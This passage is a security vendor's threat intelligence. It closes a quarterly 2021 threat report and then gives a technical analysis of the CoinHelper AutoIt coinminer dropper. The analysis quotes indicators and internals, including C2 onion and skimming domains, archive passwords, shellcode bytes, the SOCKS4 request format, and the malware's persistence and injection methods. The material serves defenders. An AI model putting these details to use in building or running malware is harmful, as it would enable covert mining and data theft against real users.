It is possible that this stagnant or even lowering threat trend is due to the prices of cryptocurrencies. The prices of Bitcoin, Etherum and Monero were on the low end from the end of May until the end of July. Q3 saw a significant sell-off of Bitcoin especially in response to increased signals that the Chinese government would move to regulate cryptocurrency. As a consequence the number of coinmining attacks we saw in Q3 were low and we did not observe any new threats. 

The most prevalent mining software used in coinminers was still XMRig (28%). The geological distribution of coinminers is almost the same as in Q2 as shown below.

It is hard to estimate how much the attackers obtained by mining, because they usually use untraceable cryptocurrency such as Monero. But we have some pieces of the puzzle. We were able to track some payments for Crackonosh malware. Our analysis shows that it was able to mine over $2 million USD since 2018. Crackonosh represents just about 2% of all coinminer attacks we see in our userbase. Crackonosh is packed with cracked copies of popular games, it uses Windows Safe Mode to uninstall antimalware software (note that Avast users are protected against this tactic) and then it installs XMRig to mine Monero.

Daniel Beneš, Malware Researcher

Ransomware

Q3 was a thrilling quarter from the ransomware perspective. One can almost get used to newspaper headlines about ransomware breaches and attacks on large companies on a daily basis (e.g. Olympus and Newcoop attacks by BlackMatter ransomware), but at the same time, we witnessed a huge supply chain attack not seen for a while, involvement of state leaders in addressing it and much more.

Overall, Q3 ransomware attacks were 5% higher than in Q2 and even 22% higher than in Q1 2021.

At the very beginning of Q3 (July 2), we spotted an attack of the Sodinokibi/REvil ransomware delivered via a supply chain attack on Kaseya MSP. The impact was massive – more than 1,500 businesses were targeted. Also other parts of the attack were fascinating. This particular cybercriminal group used the DLL sideloading vulnerability of Microsoft Defender for delivery of the target payload, which could have confused some security solutions. We’ve seen abuse of this particular Defender application already in May 2020. Overall, we’ve noticed and blocked this attack on more than 2.4k endpoints based on our telemetry. The story of this attack continued over Q3 with involvement of presidents Joe Biden and Vladimir Putin resulting in ransomware operators releasing the decryption key, which helped with unlocking files of affected victims. It gave us one more clue for the attribution of the origin of this (R)evil. After the release of the decryption key, Sodinokibi went silent for almost two months – their infrastructure went down, no new variants were seen in the wild, etc. However, it was us who detected (and blocked) its latest variant on September 9. This story evolved in November, but let’s keep it for the Q4 report.

However, Sodinokibi was only one piece of the ransomware threat landscape puzzle in Q3. The top spreading strains overall were:

• STOP/Djvu – often spread via infected pirated software
• WannaCry – the one and only, still spreading after four years via the EternalBlue exploit
• CrySiS – also spreading for a long time via hacked RDP
• Sodinokibi/REvil
• Various strains derived from open-source ransomware (HiddenTear, Go-ransomware, etc.)

Furthermore, there were multiple active strains focused on targeted attacks on businesses, such as BlackMatter (previously DarkSide) and various ransomware strains from the Evil Corp group (e.g. Grief) and Conti.

The heat map below shows the risk ratio of users protected against ransomware Q3 2021.

As shown below the distribution of ransomware attacks was very similar to previous quarters except for a 600% increase in Sweden that was primarily caused by the aforementioned Kaseya supply chain attack.

The number of protected users by ransomware attacks was highest in July, and it decreased slightly in August and September. 

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

Unlike ransomware, RAT campaigns are not as prevalent in newspaper headlines because of their very secretive nature. Ransomware needs to let you know that it is present on the infected system but RATs try to stay stealthy and just silently spy on their victims. The less visible they are the better for the threat actors. 

In Q3, three new RAT variants were brought to our attention. Among these new RATs were FatalRAT with its anti-VM capabilities, VBA RAT which was exploiting the Internet Explorer vulnerability CVE-2021-26411, and finally a new version of Reverse RAT with build number 2.0 which added web camera photo taking, file stealing and anti-AV capabilities.

But these new Remote Access Trojans haven’t drastically changed representation of RAT type in the wild yet.

We saw an  elevated risk ratio for RATs in many countries all over the world. In particular, we had to protect more users in countries such as Russia, Singapore, Bulgaria or Turkey where RAT attacks were elevated this quarter. 

In the heat map below, we can see the risk ratio for RATs globally in Q3 2021. 

Out of all users attacked by RATs in Q3, 19% were attacked by njRAT (also known as Bladabindi). njRat has been spreading since 2012 and it owes its popularity to the fact that it was open sourced a long time ago and many different variants were built on top of its source written in VB.NET. After njRAT, the most prevalent RAT strains were: 

• Remcos ‒ 11%
• AsyncRat ‒ 10%
• NanoCore ‒ 9%
• Warzone ‒ 6%
• QuasarRAT ‒ 5%
• NetWire ‒ 5%
• DarkComet ‒ 4%

What made these RATs so popular and what was the reason they spread the most? The answer is simple, all of them were either open-sourced or cracked and that helped their popularity especially among less sophisticated script-kiddie attackers and among users of many hacking forums where they were often shared. njRat, Remcos, AsyncRat, NanoCore and QuasarRat were open-sourced and the rest was cracked. From this list only Warzone had a working paid subscription model from its original developer. Attackers used these RATs especially for industry espionage, credentials theft, stalking and with many infected computers, even DDOS.

Samuel Sidor, Malware Researcher

Rootkits

A rootkit is malicious software designed to give unauthorized access with the highest system privileges. Rootkits commonly provide services to other malware in the user mode. It typically includes functionality such as concealing malware processes, files and registry entries. In general, the rootkits have total control over a system they operate in the kernel layer, including modifying critical kernel structures. Rootkits are still popular techniques to hide malicious activity despite a high risk of being detected because the rootkits work in the kernel mode, and each critical bug can lead to BSoD.

We have recorded a significant increase in rootkit activity at the end of Q3, illustrated in the chart below. While we can’t be sure what’s behind this increase, this is one of the most significant increases in activity in Q3 2021 and is worth watching. It also underscores that defenders should be aware that rootkits, which have been out of the spotlight in recent years, remain a threat and in fact are increasing once again.

The graph below demonstrates that China and adjacent administrative areas (Macao, Taiwan, Hong Kong) are the most risk counties from the point of view of protected users in Q3 of 2021.

In Q3, we have also become interested in analyzing the code-signing of a rootkit driver, which protects the malicious activity of a complex and modularized malicious backdoor utilizing sophisticated C&C communication, self-protection mechanisms, and a wide variety of modules performing various suspicious tasks, called DirtyMoe focusing on the Monero mining.

This research has led us to the issue of signing windows drivers with revoked certificates. There have been identified 3 revoked certificates that sign the DirtyMoe rootkit and also sign other rootkits. Most users have been attacked in Russia (40%), China (20%), and Ukraine (10%).

Martin Chlumecký, Malware Researcher

Information Stealers

In Q3, we’ve seen a steady increase in numbers of various information stealers as can be seen on the daily spreading chart below.

The risk ratio of this threat is globally high and similar across the majority of countries worldwide with peaks in Africa and the Middle East.

One of such stealers is a clipboard stealer, distributed by a notorious botnet called MyKings, that focuses on swapping victim’s cryptocurrency wallet addresses present in their clipboard with an attacker’s address. When the victim copies data into their clipboard, the malware tries to find a specific pattern in the content of the clipboard (such as a web page link or a format of cryptocurrency wallet) and if it is found, the content is replaced with the attackers’ information. Using this simple technique, the victim thinks for instance they pasted their friend’s cryptowallet address while the attacker changed the address in the meantime to their own, effectively redirecting the money.

MyKings also changes two kinds of links when present in the victim’s clipboard – Steam trade offer links and Yandex Disk storage links. This way, the attacker changes the Steam trade offer from the victim to himself, thus giving the trade over to the attacker who pockets the money. Furthermore, when the user wants to share a file via Yandex Disk storage cloud service, the web link is changed with a malicious one – leading the victim to download further malware because there is no reason to suspect the link is malicious when received from a friend.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) as of 2021-10-05 in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute this amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity. In addition to the aforementioned amounts, the clipboard stealer also focuses on more than 20 different cryptocurrencies, further leveraging the popularity of the cryptocurrency world. In Q3, MyKings was most active in Russia, Pakistan, and India.

Furthermore, Blustealer is a new and emerging stealer first seen at the beginning of Q3 and spiked in activities around 10-11 September. Primarily distributed through phishing emails, Blustealer is capable of stealing credentials stored in web browsers and crypto wallet data, hijacking crypto wallet addresses in clipboard, as well as uploading document files. The current version of Blustealer uses SMTP (email) and Telegram (Bot API) for data exfiltration.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher
Anh Ho, Malware Researcher

Technical support scams

Tech support scam (or TSS in short) is a big business and the people behind it use a number of techniques to try and convince you that you need their help. Most of the techniques these websites use are aimed at making your browser and system seem broken.

This topic became very popular on Youtube and TikTok as it attracted the attention of “scambaiters” – a type of vigilante who disrupts, exposes or even scams the world’s scammers.

We’ve seen a growing trend of TSS attacks with its peak at the end of August as shown below..

Overall we can see the distribution of  TSS attacks globally in Q3 2021 below.

We’ve divided these fraudsters into groups according to geography and similar attack patterns. These groupings can include multiple fraud groups that use the same tool, or use similar browser locking methods. The following table represents the unique hits for each group.

The most prevalent group in Q3 2021, called GR2 by us, typically targets mostly European countries, such as Russia, France, Ukraine, or Spain. These countries also had a high TSS risk ratio overall together with Iceland, Uzbekistan, and Rwanda.

We can see how GR2 was the most active TSS group and had its peak in mid-July.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q3 has seen plenty of newly discovered vulnerabilities. Of particular interest was PrintNightmare, a vulnerability in the Windows Print Spooler, which allowed for both local privilege escalation (LPE) and remote code execution (RCE) exploits. A Proof of Concept (PoC) exploit for PrintNightmare got leaked early on, which resulted in us seeing a lot of exploitation attempts by various threat actors. PrintNightmare was even integrated into exploit kits such as PurpleFox, Magnitude, and Underminer. 

Another vulnerability worth mentioning is CVE-2021-40444. This vulnerability can either be used to create malicious Microsoft Office documents (which can execute malicious code even without the need to enable macros) or it can be exploited directly against Internet Explorer. We have seen both exploitation methods used in-the-wild, with a lot of activity detected shortly after the vulnerability became public in  September 2021. One of the first exploit attempts we detected was against an undisclosed military target, which proves yet again that advanced attackers waste no time weaponizing promising vulnerabilities once they become public.

We’ve also been tracking exploit kit activity throughout Q3. The most active exploit kit was PurpleFox, against which we protected over 6k users per day on average. Rig and Magnitude were also prevalent throughout the whole quarter. The Underminer exploit kit woke up after a long period of inactivity and started sporadically serving HiddenBee and Amadey. Even though it might seem that exploit kits are becoming a thing of the past, we’ve witnessed that some exploit kits (especially PurpleFox and Magnitude) are being very actively developed, regularly receiving new features and exploitation capabilities. We’ve even devoted a whole blog post to the recent updates in Magnitude. Since that blog post, Magnitude continued to innovate and most interestingly was even testing exploits against Chromium-based browsers. We’ll see if this is the beginning of a new trend or just a failed experiment.

Overall, Avast users from Singapore, Czechia, Myanmar, Hong Kong and Yemen had the highest risk ratio for exploits, as can be seen on the following map.

The risk ratio for exploits was growing in Q3 with its peak in September.

Michal Salát, Threat Intelligence Director
Jan Vojtěšek, Malware Researcher

Web skimming 

Ecommerce websites are much more popular than they used to be, people tend to shop online more and more often. This led to the growth of an attack called web skimming. 

Web skimming is a type of attack on ecommerce websites in which an attacker inserts malicious code into a legitimate website. The purpose of the malicious code is to steal payment details on the client side at the moment the customer fills in their details in the payment form. These payment details are usually sent to the attacker’s server. To make the data flow to a third-party resource less visible, fraudsters often register domains resembling the names of popular web services like google-analytics, mastercard, paypal and others.

The map below shows that users from Australia, the United States, Canada, Brazil and Argentina were most at risk in Q3. Of the smaller countries, we can see Guatemala and Slovenia at the top. The high risk ratio in Guatemala was caused by an infected eshop elduendemall[.]com. 

Top two malicious domains used by attackers were webadstracker[.]com and ganalitics[.]com. Webadstracker[.]com was blocked by Avast from 2021-03-04 and was active from then for the whole Q3. It indicates that unlike phishing sites, which are active usually for a couple of days, web skimming domains can be active much longer. Webadstracker[.]com is hosted on Flowspec, which is known as one of the bulletproof hosting providers. From all web skimming incidents we observed, 8.6% were on this domain. With this domain, we can link other domains on the same IP, which was also used for web skimming attacks in Q3:

• webscriptcdn[.]com
• cdncontainer[.]com
• cdnforplugins[.]com
• shoppersbaycdn[.]com
• hottrackcdn[.]com
• secure4d[.]net

We were able to link this IP (176.121.14.143) with 75 infected eshops. Lfg[.]com[.]br was the top ecommerce website infected with webadstracker[.]com was in Q3.

Pavlína Kopecká, Malware Analyst

Mobile

Open Firebase instances

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform. In our study we discovered that more than 10% of about 180,000 tested Firebase instances, used by Android apps, were open. The reason is a misconfiguration, made by application developers. Some of these DBs exposed sensitive data, including plaintext passwords, chat messages etc. These open instances pose a significant risk of users’ data leakage. Unfortunately, ordinary users can’t check if DB used by an application is misconfigured, moreover it can become open at any moment.

Vladimir Martyanov, Malware Researcher

Adware

Adware continues to be a dominant threat on Android. This category may take various forms – from traditional aggressive advertising on either legitimate or even fake applications to completely fake applications that, while installed with an original purpose of stopping adware, end up doing exactly the opposite and bombard the user with out-of-context ads (for example FakeAdBlocker).

The degree to which the aggressive advertisement is shown to the user – either in app or out-of-context very negatively affects the user’s experience, not to mention that in the case of out-of-context ads the user has a very difficult time of actually locating the source of such spam.

A special category in this regard is the so called Fleeceware, which we have been observing both on iOS and Android already for quite some time, this type of threat is still present in Q3 in the official marketplaces and users should be aware of such techniques so that they can actively avoid falling for it.

Ondřej David, Malware Analysis Team Lead

Bankers – FluBot

We have seen a steady increase in the number of mobile banking threats for a while now, but none more than in Q3 2021. This can be best evidenced on a strain called FluBot – while this strain has been active since Q1/Q2, we’ve seen it make a couple of rounds since then. By Q3 it became an established threat in the Android banking threat landscape. 

Its advanced and highly sophisticated spreading mechanisms – using SMS messages typically posing as delivery services to lure the victims into downloading a “tracking app” for a parcel they recently missed or should be expecting – as well as the relentless campaigns account for a successful strain in the field. But even these phishing SMS messages (aka. smishing) have evolved and especially in Q3 we have seen novel scenarios in spreading this malware. One example is posing as voicemail recorders. Another is fake claims of leaked personal photos. The most extreme of these variants would then even lure the victim to a fake page that would claim  the victim has already been infected by FluBot when they probably weren’t yet and trick them into installing a “cure” for the “infection”. This “cure” would in fact be the FluBot malware itself. 

We have seen a steady expansion of the scope where FluBot operated throughout Q2 and mainly Q3, where initially it was targeting Europe – Spain, Italy, Germany, later spreading throughout the rest of Europe, but it didn’t end there. In Q3 we’ve seen advisories being posted in many other countries, including countries like Australia and New Zealand. This threat affects only Android devices – iOS users may still occasionally receive the phishing SMS messages, but the malware would not be able to infect the device.

The heat map below shows the spread of Flubot in Q3 2021 and the graph shows the increase in Flubot infections in that same time period.

Ondřej David, Malware Analysis Team Lead

Pegasus

Perhaps the most discussed mobile threat in Q3 was the infamous Pegasus spyware. Developed by Israeli’s NSO Group this threat targeted primarily iOS device users with known Android variants as well. Due to the usage of zero-click vulnerabilities in the iMessage application the attackers were able to infect the device without any user interaction necessary. This makes it a particularly tricky and sophisticated threat to deal with. Fortunately for the majority of the users this type of attack is unlikely to be used on a mass scale, but rather in a highly targeted manner against high profile or high value targets

Acting as a full blown spyware suite, Pegasus is capable of tracking location, calls, messages and many other personal data. Pegasus as a strain is not exactly new, its roots go deep into history as far back as at least 2016. The threat as well as its distribution methods have changed significantly since the early days however. For a successful stealthy distribution of this threat the malicious actors needed to keep finding vulnerabilities in the ever updating OS or default apps that could be used as a way to infect the device – ranging from remote jailbreaks to the latest versions utilizing zero-click exploits.

Best protection against this type of threat is to keep your mobile device’s operating system updated to the latest version and have all the latest security updates installed.

Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

The post Avast Q3’21 Threat Report appeared first on Avast Threat Labs.

In the first posting of this series, we looked at a clipboard stealer belonging to the MyKings botnet. In this second part of the blog series, we will discuss in detail a very prevalent malware family of AutoIt droppers, that we call CoinHelper, used in a massive coinmining campaign. Since the beginning of 2021, Avast has protected more than 125,000 users worldwide from this threat. CoinHelper is mostly bundled with cracked software installers such as WinRAR and game cheats.

Regarding game cheats, we’ve seen this bundling with some of the most popular and famous games out there including (but not limited to): Extrim and Anxious (Counter-Strike Global Offensive cheats), Cyberpunk 2077 Trainer (Cyberpunk 2077 cheat), PUBG and CoD cheats, and Minecraft. We’ve also found this threat inside a Windows 11 ISO image from unofficial sources (as we indicated on Twitter). We have even seen this threat bundled with clean software such as Logitech drivers for webcams. All in all, we have seen CoinHelper bundled with more than 2,700 different software so far, including games, game cheats, security software, utilities, clean and malware applications alike.

Our research brought us to this because we have seen a spread of these droppers via MyKings’ clipboard stealer payload as well, as described in our previous part of the blog post series. Nevertheless we can’t attribute CoinHelper to MyKings botnet, on the contrary based on the number of different sources of infection, we believe that CoinHelper used MyKings’ clipboard stealer as an additional system of malware delivery.

We have found some mentions of these AutoIt droppers in other blog posts from last year. One of the most notable instances was detailed by Trend Micro, describing a sample of the AutoIt dropper bundled with Zoom communicator (downloaded from an unofficial source) which happened in the early days of the COVID-19 pandemic when millions of new users were flocking to Zoom. Another instance is in a post from Cybereason mentioning a new dropper for XMRig miners.

In this blog post, we analyze the latest version of CoinHelper in detail, discuss the malware campaign, describe all its components as well as research into what applications are most often bundled with the malware and show how the malware spreads. We also outline some of the data harvesting that it performs on infected systems to map the infected victims.

Campaign overview

Since the beginning of 2020, we have seen more than 220,000 attempts to infect our users with CoinHelper, most of them being in Russia (83,000). The second most targeted country is Ukraine with more than 42,000 attacked users.

Monetary gain

One of the primary goals of CoinHelper is to drop a crypto miner on the infected machine and use the resources (electricity and computing power) of the victim’s computer to generate money for the attackers through mining.

Even though we observed that multiple crypto currencies, including Ethereum or Bitcoin, were mined, there was one particular that stood out – Monero. From the total of 377 crypto wallet addresses we extracted from the malware, 311 of them mined Monero through crypto mining pools. The reasons for criminals to choose Monero are quite obvious. Firstly, this cryptocurrency was created and designed to be private and anonymous. This means that tracing the transactions, owners of the accounts or even amounts of money that were stolen and/or mined can be quite difficult. Secondly, this cryptocurrency has a good value at this time – you can exchange 1 XMR  for ~$240 USD (as of 2021-11-29) 

Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to look more into the Monero mining operation of the malware authors and find out more about how much money they were able to gain.

To ensure more regular income, the miners were configured to use Monero mining pools. Mining pools are often used by miners to create one big and powerful node of computing power that works together to find a suitable hash and collect a reward for it. Because the search for the suitable hash is random, the more guesses you make, the bigger your chance to be successful. In the end, when the pool receives a reward, the money is split between the members of the pool depending on their share of work. Usage of the pools is very convenient for malware authors, specifically because pools work with a limited time. This is helpful for malware authors because it gives them a greater chance to successfully mine cryptocurrency in the limited time they have before their miners are discovered and eradicated.

In total we registered 311 Monero addresses used in the configuration of miners dropped by the AutoIts. These addresses were used in more than 15 different Monero mining pools whereas our data and research confirm that the mining campaign is even bigger and a lot of the addresses were used across multiple pools. After diving more into the data that the pools offer, we are able to confirm that as of 2021-11-29 the authors gained more than 1,216 XMR solely by crypto mining, which translates into over $290,000 USD. 

Apart from the Monero addresses, we also registered 54 Bitcoin addresses and 5 Ethereum addresses. After looking at these addresses we can conclude that these addresses received following amounts of money:

Cryptocurrency	Earnings in USD	Earnings in cryptocurrency	Number of wallets
Monero	$292,006.08	1,216.692 [XMR]	311
Bitcoin	$46,245.37	0.796 [BTC]	54
Ethereum	$1,443.41	0.327 [ETH]	5

This makes total monetary gain of this malware 339,694.86 USD as of 2021-11-29. The amounts from the table above are total incomes of the Bitcoin and Ethereum wallets, so we can’t exclude the possibility that some part of money comes from other activities than mining, but we assume that even those activities would be malicious. As can be seen from the data we collected, the major focus of this campaign is on mining Monero, where attackers used ~5 times more wallet addresses and gained ~6 times more money.

Technical analysis

Dropping the payload

Let’s continue straight away where we left off in the previous part. As we learned, the clipboard stealer could swap copy+pasted wallet addresses in the victim’s clipboard, as well as swap other links and information depending on the malware’s configuration. One of these links was https://yadi[.]sk/d/cQrSKI0591KwOg.

After downloading and unpacking the archive (with a password gh2018), a new sample Launcher.exe is dropped (c1a4565052f27a8191676afc9db9bfb79881d0a5111f75f68b35c4da5be1f385). Note that this approach is very specific for the MyKings clipboard stealer and requires user’s interaction. In other, and most common, cases the user obtains a whole bundled installer from the internet, unintentionally executing the AutoIt during the installation of the expected software.

This sample is the first stage of a compiled AutoIt script, a dropper that we call CoinHelper, which provides all necessary persistence, injections, checking for security software along the way, and of course downloading additional malware onto the infected machine.

Although this sample contains almost all of the latest functionality of these AutoIt droppers, it is not the latest version and some of their features are missing. For that reason, we decided to take a newer (but very similar) version of the dropper with a SHA 83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf instead and describe thoroughly all of the functionalities in one place.

Overview of the infection chain

Exploring the first stage

Let’s dive into the newer sample. This one is usually downloaded with a name start.exe on users’ machines and holds a Google Chrome icon. Upon a closer look, it is apparent that this is a compiled AutoIt binary.

After extracting the AutoIt script from the sample we can see additional components:

• asacpiex.dll
• CL_Debug_Log.txt
• glue\ChromeSetup.exe

CL_Debug_Log.txt is a clean standalone executable of 7zip and asacpiex.dll is a damaged (modified) 7zip archive carrying the second stage of the malware. Soon, we will fix this archive and look inside as well, but first, let’s focus on the extracted AutoIt script. The last binary from the list above, placed in the glue folder, is one of the many possibilities of the bundled apps inside CoinHelper. In this case, we witness a clean setup installer of the Chrome browser. If you are interested in seeing what other applications are usually bundled with CoinHelper, see Bundled apps overview for details.

Rude welcome

The AutoIt script is actually very readable. Well, perhaps even too much, looking at the vulgarity in the beginning. Note that Region / EndRegion is SciTE text editor’s feature to mark code regions. In this case, however, the script starts with the EndRegion clausule and some well known AutoIt decompilers, such as Exe2Aut (v0.10), struggle very much with this and are unable to decompile the script, effectively displaying just the rude welcome. Note that myAut2Exe (v2.12) for example has no issues with the decompilation.

We can also see here the beginning of the malware’s configuration, first checking for the existence of a mutex QPRZ3bWvXh (function called _singleton), followed by scheduled task configuration. As shown in the code above, the SystemCheck scheduled task presents itself as a Helper.exe application from Microsoft. However, Microsoft doesn’t provide any tool with such a name. The scheduled task is used for executing the malware, persistently.

The modification of the asacpiex.dll archive was done by nulling out the first five bytes of the file which can be easily restored to reflect the usual 7zip archive header: 37 7A BC AF 27. The script is replacing even more bytes, but that is not necessary.

Before we dive into the contents extracted from the archive (a keen eye already spotted that the password is JDQJndnqwdnqw2139dn21n3b312idDQDB), let’s focus on the rest of this script. We will continue with the unpacking of asacpiex.dll in the Exploring the second stage section.

In the code above, we also see that ChromeSetup.exe is placed into the glue folder. This folder (sometimes called differently, e.g. new) contains the original application with which the malware was bundled together. In our analysis we are showing here, this is a clean installer of the Chrome browser that is also executed at this stage to preserve the expected behavior of the whole bundle.

We encountered many different applications bundled with CoinHelper. Research regarding these bundles is provided in a standalone subsection Bundled apps overview.

Mapping the victims

In addition to fixing the damaged archive, executing the second stage, and ensuring persistence, the first stage holds one additional functionality that is quite simple, but effective.

The malware uses public services, such as IP loggers, to aggregate information about victims. The IP loggers are basically URL shorteners that usually provide comprehensive telemetry statistics over the users clicking on the shortened link.

Additionally, as we will see further in this blogpost, the attacker harvests information about victims, focusing on the victim’s OS, amount of RAM installed, the CPU and video card information, as well as the security solutions present on the system. All the collected information is formatted and concatenated to a single string.

This string is then sent to a hardcoded URL address in the form of a user-agent via GET request. In our sample, the hardcoded URL looks like https://2no[.]co/1wbYc7.

Note that URLs such as these are sometimes also used in the second stage of CoinHelper as well. From our dataset, we have found 675 different URLs where the malware sends data.

Because the attackers often use public services without authentication, we can actually peek inside and figure out the figures from their perspective. The bottom line is that they are making a statistical evaluation of their various infection vectors (bundled installers from unofficial software sources, torrents, MyKings botnet, and more) across the infected user base, effectively trying to focus on people with higher-end machines as well as getting to know which regions in the world use what antivirus and/or security solutions.

As an example, we can see information available on one of the many still-active links containing a date and time of the click, IP address (anonymized) and ISP, corresponding geolocation, used web browser and of course, the user-agent string with the harvested data.

The attacker also has access to the geographic location of the victims in a map view.

In the sections below, the reader can find further details of how the information is obtained in the first stage of the malware, along with further details about the harvested data.

Checking the CPU 

The malware executes one of the two variants of shellcodes (x86 and x64), present in hexadecimal form:

• 0x5589E5538B45088B4D0C31DB31D20FA28B6D10894500895D04894D0889550C5B5DC3
• 0x5389C889D131DB31D20FA26741890067418958046741894808674189500C5BC3

When we disassemble the shellcodes, we can see common cpuid checks, returning all its values (registers EAX, EBX, ECX, EDX). Thus, the malware effectively harvests all the information of the currently present processor of the victim, its model and features.

All the information is parsed and particular features are extracted. Actually, the feature lists in the malware are identical to the CPUID Wikipedia page, exactly pointing out where the attacker was inspired.

Even though all the information is harvested, only the AES instruction set bit is actually checked – if the processor supports this instruction set and it is x64, only then it will install the x64 bit version of the final stage (coinminer). In the other case, the x86 version is used.

As we mentioned, the rest of the information is collected, but it is actually not used anywhere in the code.

CPU and video card information

The cpuid check is not the only one that performs HW checks on the victim’s system. Two additional WMI queries are used to obtain the names of the victim’s processor and video card:
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController

Furthermore, the malware uses GetSystemInfo to collect the SYSTEM_INFO structure to check the number of cores the victim’s CPU has.

AV checks

The script also checks for running processes, searching for security solutions present on the machine. This information is once again “just” logged and sent to the IP logging server – no other action is done with this information (e.g. altering malware’s functionality).

The complete list of all the checked AV / Security solutions by their processes, as presented in the malware, can be found in Appendix.

Exploring the second stage – asacpiex.dll

Now, let’s dive into the second stage of the malware. After the asacpiex.dll archive is fixed, it is saved as CR_Debug_Log.txt to the Temp folder.

To unpack the archive, the malware uses a password JDQJndnqwdnqw2139dn21n3b312idDQDB. This is the most common password for these AutoIt droppers. However, it is not the only one and so far, we counted two additional passwords:

• [email protected]@!)(#($%&^!ND21
• [email protected],sq%

Unpacking reveals two additional files:

• 32.exe
• 64.exe

Depending on the architecture of the OS and whether the AES instruction set is available, one of these files is copied into
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Helper.exe
and executed (via a scheduled task).

Both of these files are once again compiled AutoIt scripts, carrying functionality to distribute further payloads, in the form of coinminers, to victims via Tor network.

After the decompilation of the files, we can see that both of the output scripts are very similar. The only difference is that the x64 version tries to also utilize the user’s graphic card as well if possible for coinmining, not just the CPU. In the text below, we will focus on the x64 version since it contains more functionality.

Although Helper.exe is the most common name of the malware by far, it is not the only possibility. Other options we’ve seen in the wild are for example:

• fuck.exe
• Helperr.exe
• svchost.exe
• System.exe
• system32.exe
• WAPDWA;DJ.exe
• WorkerB.exe

Helper.exe

As we already mentioned, the primary goal of the Helper.exe dropper is to drop an XMRig coinminer onto the victim’s system via Tor network. The coinminer is executed with a hardcoded configuration present in the script.

Helper.exe holds a variety of other functionalities as well, such as performing several system checks on the victim’s PC, injecting itself into %WINDIR%\System32\attrib.exe system binary, checking the “idleness” of the system to intensify the mining, and more. Let’s now have a look at how all these functionalities work.

Downloading coinminers via Tor network

The main purpose of the dropper is to download a payload, in our case a coinminer, onto the infected system. To do so, the malware performs several preparatory actions to set up the environment to its needs.

First and foremost, the malware contains two additional files in hexadecimal form. The first is once again a clean 7zip binary (but different than CL_Debug_Log.txt) and the second one is a 7zip archive containing a clean Tor binary and belonging libraries:

• libcrypto-1_1-x64.dll
• libevent-2-1-7.dll
• libevent_core-2-1-7.dll
• libevent_extra-2-1-7.dll
• libgcc_s_seh-1.dll
• libssl-1_1-x64.dll
• libssp-0.dll
• libwinpthread-1.dll
• tor.exe
• zlib1.dll

To be able to unpack Tor, a password DxSqsNKKOxqPrM4Y3xeK is required. This password is also required for unpacking every downloaded coinminer as well, but we will get to that later.

After Tor is executed, it listens on port 9303 on localhost (127.0.0.1) and waits for requests. To prevent confusion at this point, note that this execution is hidden by default because tor.exe should not be mistaken for a Tor browser. tor.exe is a process providing Tor routing (without a GUI). In a common Tor browser installation, it can be usually found in \<Tor browser root folder>\Browser\TorBrowser\Tor\tor.exe.

The script further contains a few Base64 encoded Tor addresses of the C&C servers and tries which one is alive. This is done by initializing SOCKS4 communication via a crafted request (in the hexadecimal form):
04 01 00 50 00 00 00 FF 00 $host 00
where $host is the demanded server address.

The malware expects one of the standard protocol responses and only if the response contains 0x5A byte, the malware will further proceed to communicate with the server.

Byte	Meaning
0x5A	Request granted
0x5B	Request rejected or failed
0x5C	Request failed because client is not running identd (or not reachable from server)
0x5D	Request failed because client’s identd could not confirm the user ID in the request

The lists of Tor addresses differ quite a bit across multiple samples. So far we’ve seen 24 unique C&C servers (see our IoC repository for the complete list). However, at the time of writing, only two of all the servers were still active:

• 2qepteituvpy42gggxxqaaeozppjagsu5xz2zdsbugt3425t2mbjvbad[.]onion
• jbadd74iobimuuuvsgm5xdshpzk4vxuh35egd7c3ivll3wj5lc6tjxqd[.]onion

If we access the server using e.g. Tor browser, we can see a default Windows Server landing page, illustrated in figure below. Note that this is a very common landing page for MyKings C&Cs. However, this single fact is not sufficient for attributing CoinHelper to MyKings.

The malware is capable of downloading four files in total from an active server, present in a “public” subfolder:

• public/upd.txt
• public/64/64.txt (or public/32/32.txt if the “32 bit variant” of the script is used)
• public/vc/amd.txt
• public/vc/nvidia.txt

The files 64.txt (32.txt), amd.txt, and nvidia.txt are all XMRig coinminers (encoded and compressed), both for CPU or an according GPU card.

The upd.txt file is a plaintext file containing a version number bounded by _ and ! symbols, for example _!1!_. The malware asks the server what’s the version and if the version is newer, all coinminers are updated (downloaded again).

The miners are downloaded as a hexadecimal string from the C&C, ending with a constant string _!END!_. After the end stub is removed and the string decoded, we get a 7zip archive. Once again, we can use the DxSqsNKKOxqPrM4Y3xeK password to unpack it.

After the unpacking, we can get these files:

• SysBackup.txt – for CPU miners (both 32 and 64 bit)
• SysBackupA.txt – when there is also AMD GPU detected
• SysBackupN.txt – when there is also NVIDIA GPU detected

These files are once again present in a hexadecimal form, this time starting with 0x prefix and without the end stub.

Furthermore, a few additional files can be found with the “SysBackup” files for ensuring the mining functionality and optimal mining, when appropriate (for example xmrig-cuda.dll for NVIDIA cards).

The download process can be seen in the following visualisation:

Coinmining

The coinmining (and the 7zip unpacking) is executed via process injection. The CPU coinmining is performed by injecting into a newly created and suspended process of %WINDIR%\System32\attrib.exe.

Execution of all the other components, such as GPU mining or unpacking of the coinminer payloads downloaded from Tor, is done by injecting into itself, meaning a new suspended instance of Helper.exe is used for the injection. When there is coinmining on GPU supported, both CPU and GPU are executed in parallel.

Note that the injection is done by a publicly available AutoIt injector, so the author chose the copy+paste way without reinventing the wheel.

From our research, we’ve only seen XMRig to be deployed as the final coinmining payload. The malware executes it with common parameters, with one approach worth mentioning – a parameter setting the password for the mining server “-p”. In standard situations, the password doesn’t really matter so the malware authors usually use “x” for the password. In this case, however, the malware generates a GUID of the victim and appends it to the usual “x”.

The GUID is created by concatenating values from one of the WMI queries listed below:
SELECT * FROM Win32_ComputerSystemProduct
SELECT * FROM Win32_BIOS
SELECT * FROM Win32_Processor
SELECT * FROM Win32_PhysicalMedia

